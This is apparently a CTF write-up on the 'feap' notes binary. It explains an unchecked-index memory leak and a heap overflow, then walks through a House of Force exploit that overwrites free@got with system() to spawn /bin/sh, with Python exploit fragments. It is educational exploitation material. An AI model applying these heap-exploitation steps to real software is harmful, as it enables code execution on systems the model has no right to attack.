Info
As usual, the vulnerable file is here
gef➤ !file ./feap
./feap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=67b9e845e43f9d9b32307836545c649d0390c822, stripped
gef➤ checksec
[+] checksec for '/home/vagrant/feap'
Canary: Yes
NX Support: Yes
PIE Support: No
No RPATH: Yes
No RUNPATH: Yes
Partial RelRO: Yes
Full RelRO: No
feap
is a binary that allows you to add/edit/delete a list of notes. The notes are stored in a table locate in the .bss
at 0x6020a8. This table can hold 20 notes. A note has the following structure:
00000000 struct __notes
00000000 name db 64 dup(?) # 64 bytes
00000040 body dq # sizeof(malloc-ed block)-64
00000048 __notes ends
For each note at offset i, the total size of the malloc-block can be found at the offset i of the table notes_sizes
located at 0x6020b0, i.e. notes_sizes[i] = sizeof(notes[i])
.
To manipulate the notes, the program offers several options via a simple menu with different choices:
- function at 0x400D2B allows to add new notes (later called
add_note()
), - function at 0x400C5A allows to delete new notes (later called
del_note()
), - function at 0x400AFC allows to edit a note (later called
edit_note()
), - function at 0x40096D allows to print all notes (later called
print_all_notes()
), - function at 0x0400A1D allows to print one note (later called
print_note()
), exit()
the program
Vulnerability
Two vulnerabilities were found:
- a lack of boundary check in
print_note()
function allows to read at arbitrary address of the memory space; - a heap overflow in the
edit_note()
function allows to overwrite adjacent chunks.
Memory leak
When printing a specific note, the user is prompted for a note index. However, this index is not checked, meaning that any submitted value outside the boundary of the notes
table (i.e. between [0, 19]) will leak the process memory.
print_note()
{
int result; // rax@2
unsigned int v1; // [sp+Ch] [bp-4h]@1
printf("Please enter note id to print: ");
__isoc99_scanf("%d", &v1);
if ( notes[v1] ) {
printf("ID: %d\n", v1);
printf("Title: %s\n", notes[v1]);
printf("Body: %s\n", &notes[v1]->body);
result = 0LL;
} else
[...]
notes
and notes_sizes
are 2 adjacently allocated chunks of size 160 bytes. This implies that attempting to reach notes[20]
will land in notes_sizes
prev_size
section, and notes[21]
in notes_sizes
size
section. So by accessing notes[22]
we will attempt to read the content pointed by notes_sizes[0]
. So to read at address ADDR
in the memory layout, we must:
- create a note of size
ADDR
-64 - print the note at offset 22
(as implemented in leak_memory function)
This leak not only allows us to dump heap addresses, but also GOT addresses (such as puts@got
, free@got
, printf@got
) etc. which defeats the library randomization.
Heap overflow
The function edit_note()
, allows to edit the content of a note, by editing its name of its body.
When editing the body, the function calls fgets()
on note[i]->body
, but with a size to read of the entire chunk (name + body).
So we have 64 bytes (i.e. sizeof(note.name) ) that we can overwrite in the next chunk.
Exploitation
On top of the vulnerabilities mentioned earlier, we have total control over the size of a call to malloc()
in the add_note()
function (at 0x400DAE). This is the perfect scenario for a House of Force exploitation.
The House of Force technique has already been used in previous post so I won’t detail it as much (no pretty ascii art this time ). But the idea stays the same:
- allocate a first note;
- allocate a second note, whose malloc-ed size will drop us into the GOT;
- overwrite
notes[1]
chunk headers by editingnotes[0]
; - create a last chunk that will actually overwrite the desired address.
free@got.plt
at 0x602018 is a good candidate to be overwritten, so we need to create a size of free_location - notes_location
. With a few adjustments we get:
sz = free_location - notes_location - 512
s.read_until("Enter note body size: ")
s.write("{}\n".format(sz))
Now we know that free@got.plt
will be overwritten by the note->name
of the next note created.
With the memory leak explained above, we can dynamically get several addresses in the GOT. Using libcdb
on those 2 addresses we can know the libc version and therefore the offset of the system()
function:
system_addr = libc_base + 0x00046640
All we have left to do, is to write "/bin/sh"
as the note->name of the note we will want to delete.
ok("Create 1st note")
s.read_until("> ")
s.write("1\n")
s.read_until("Enter note body size: ")
s.write("2\n")
s.read_until(": ")
s.write("/bin/sh\0\n")
Put it all together in the complete exploit and you get the flag: